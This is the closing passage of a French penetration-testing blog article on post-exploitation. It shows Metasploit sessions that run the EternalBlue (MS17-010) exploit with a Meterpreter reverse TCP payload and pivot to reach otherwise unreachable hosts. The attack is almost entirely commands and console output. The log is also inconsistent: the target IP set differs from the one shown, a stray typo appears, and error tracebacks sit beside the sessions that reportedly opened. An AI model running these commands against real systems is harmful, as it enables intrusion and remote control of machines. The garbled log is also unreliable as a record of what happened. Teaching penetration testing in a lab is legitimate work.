msf exploit(windows/smb/ms17_010_eternalblue) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp

f exploit(windows/smb/ms17_010_eternalblue) > exploit
[*] Started reverse TCP handler on 172.16.86.134:4444 
[*] 192.168.1.9:445 - Connecting to target for exploitation.
[*] Sending stage (179779 bytes) to 172.16.86.110
[*] Meterpreter session 3 opened (172.16.86.134:4444 -> 172.16.86.110:53927) at 2018-02-25 19:54:51 +0100
[-] 192.168.1.9:445 - Rex::ConnectionError
[-] 192.168.1.9:445 - A socket error occurred.
[-] 192.168.1.9:445 - /usr/share/metasploit-framework/lib/rex/post/meterpreter/extensions/stdapi/net/socket.rb:112:in `rescue in create_tcp_client_channel'
/usr/share/metasploit-framework/lib/rex/post/meterpreter/extensions/stdapi/net/socket.rb:102:in `create_tcp_client_channel'
/usr/share/metasploit-framework/lib/rex/post/meterpreter/extensions/stdapi/net/socket.rb:73:in `create'
/usr/share/metasploit-framework/lib/msf/base/sessions/meterpreter.rb:588:in `create'
/usr/share/metasploit-framework/vendor/bundle/ruby/2.3.0/gems/rex-socket-0.1.10/lib/rex/socket.rb:49:in `create_param'
/usr/share/metasploit-framework/vendor/bundle/ruby/2.3.0/gems/rex-socket-0.1.10/lib/rex/socket/tcp.rb:37:in `create_param'
/usr/share/metasploit-framework/vendor/bundle/ruby/2.3.0/gems/rex-socket-0.1.10/lib/rex/socket/tcp.rb:28:in `create'
/usr/share/metasploit-framework/lib/msf/core/exploit/tcp.rb:102:in `connect'
/usr/share/metasploit-framework/modules/exploits/windows/smb/ms17_010_eternalblue.rb:307:in `smb1_anonymous_connect_ipc'
/usr/share/metasploit-framework/modules/exploits/windows/smb/ms17_010_eternalblue.rb:166:in `smb_eternalblue'
/usr/share/metasploit-framework/modules/exploits/windows/smb/ms17_010_eternalblue.rb:118:in `block in exploit'
/usr/share/metasploit-framework/vendor/bundle/ruby/2.3.0/gems/activesupport-4.2.10/lib/active_support/core_ext/range/each.rb:7:in `each'
/usr/share/metasploit-framework/vendor/bundle/ruby/2.3.0/gems/activesupport-4.2.10/lib/active_support/core_ext/range/each.rb:7:in `each_with_time_with_zone'
/usr/share/metasploit-framework/modules/exploits/windows/smb/ms17_010_eternalblue.rb:114:in `exploit'
/usr/share/metasploit-framework/lib/msf/core/exploit_driver.rb:206:in `job_run_proc'
/usr/share/metasploit-framework/lib/msf/core/exploit_driver.rb:167:in `run'
/usr/share/metasploit-framework/lib/msf/base/simple/exploit.rb:136:in `exploit_simple'
/usr/share/metasploit-framework/lib/msf/base/simple/exploit.rb:161:in `exploit_simple'
/usr/share/metasploit-framework/lib/msf/ui/console/command_dispatcher/exploit.rb:110:in `cmd_exploit'
/usr/share/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:548:in `run_command'
/usr/share/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:510:in `block in run_single'
/usr/share/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:504:in `each'
/usr/share/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:504:in `run_single'
/usr/share/metasploit-framework/lib/rex/ui/text/shell.rb:208:in `run'
/usr/share/metasploit-framework/lib/metasploit/framework/command/console.rb:48:in `start'
/usr/share/metasploit-framework/lib/metasploit/framework/command/base.rb:82:in `start'
/usr/bin/msfconsole:48:in `<main>'

meterpreter > 

Maintenant nous alons attaquer de la même manière l'IP 192.168.197.131

msf exploit(windows/smb/ms17_010_eternalblue) > set RHOST 192.168.197.131
RHOST => 192.168.197.131
msf exploit(windows/smb/ms17_010_eternalblue) > set LPORT 5555
LPORT => 5555
msf exploit(windows/smb/ms17_010_eternalblue) > exploit
[*] Started reverse TCP handler on 172.16.86.134:5555 
[*] 192.168.197.130:445 - Connecting to target for exploitation.
[+] 192.168.197.130:445 - Connection established for exploitation.
[+] 192.168.197.130:445 - Target OS selected valid for OS indicated by SMB reply
[*] 192.168.197.130:445 - CORE raw buffer dump (23 bytes)
[-] 192.168.1.9:445 - /usr/share/metasploit-framework/lib/rex/post/meterpreter/extensions/stdapi/net/socket.rb:112:in `rescue in create_tcp_client_channel'
/usr/share/metasploit-framework/lib/rex/post/meterpreter/extensions/stdapi/net/socket.rb:102:in `create_tcp_client_channel'
/usr/share/metasploit-framework/lib/rex/post/meterpreter/extensions/stdapi/net/socket.rb:73:in `create'
/usr/share/metasploit-framework/lib/msf/base/sessions/meterpreter.rb:588:in `create'
/usr/share/metasploit-framework/vendor/bundle/ruby/2.3.0/gems/rex-socket-0.1.10/lib/rex/socket.rb:49:in `create_param'
/usr/share/metasploit-framework/vendor/bundle/ruby/2.3.0/gems/rex-socket-0.1.10/lib/rex/socket/tcp.rb:37:in `create_param'
/usr/share/metasploit-framework/vendor/bundle/ruby/2.3.0/gems/rex-socket-0.1.10/lib/rex/socket/tcp.rb:28:in `create'
/usr/share/metasploit-framework/lib/msf/core/exploit/tcp.rb:102:in `connect'
/usr/share/metasploit-framework/modules/exploits/windows/smb/ms17_010_eternalblue.rb:307:in `smb1_anonymous_connect_ipc'
/usr/share/metasploit-framework/modules/exploits/windows/smb/ms17_010_eternalblue.rb:166:in `smb_eternalblue'
/usr/share/metasploit-framework/modules/exploits/windows/smb/ms17_010_eternalblue.rb:118:in `block in exploit'
/usr/share/metasploit-framework/vendor/bundle/ruby/2.3.0/gems/activesupport-4.2.10/lib/active_support/core_ext/range/each.rb:7:in `each'
/usr/share/metasploit-framework/vendor/bundle/ruby/2.3.0/gems/activesupport-4.2.10/lib/active_support/core_ext/range/each.rb:7:in `each_with_time_with_zone'
/usr/share/metasploit-framework/modules/exploits/windows/smb/ms17_010_eternalblue.rb:114:in `exploit'
/usr/share/metasploit-framework/lib/msf/core/exploit_driver.rb:206:in `job_run_proc'
/usr/share/metasploit-framework/lib/msf/core/exploit_driver.rb:167:in `run'
/usr/share/metasploit-framework/lib/msf/base/simple/exploit.rb:136:in `exploit_simple'
/usr/share/metasploit-framework/lib/msf/base/simple/exploit.rb:161:in `exploit_simple'
/usr/share/metasploit-framework/lib/msf/ui/console/command_dispatcher/exploit.rb:110:in `cmd_exploit'
/usr/share/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:548:in `run_command'
/usr/share/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:510:in `block in run_single'
/usr/share/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:504:in `each'
/usr/share/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:504:in `run_single'
/usr/share/metasploit-framework/lib/rex/ui/text/shell.rb:208:in `run'
/usr/share/metasploit-framework/lib/metasploit/framework/command/console.rb:48:in `start'
/usr/share/metasploit-framework/lib/metasploit/framework/command/base.rb:82:in `start'
/usr/bin/msfconsole:48:in `<main>'

meterpreter > 

Voilà nous avons notre session Meterpreter sur les cibles 192.168.1.9 et 192.168.197.131 qui à la base n'étaient pas joignables à partir de notre emplacement.

Voilà ça sera tout pour cet article, je suis désolé pour sa longueur mais le post exploitation est un sujet très vaste et très riche avec diverses façons de faire. J’espère que ça ne vous aura pas ennuyer et vous dit à bientôt pour un nouvel article.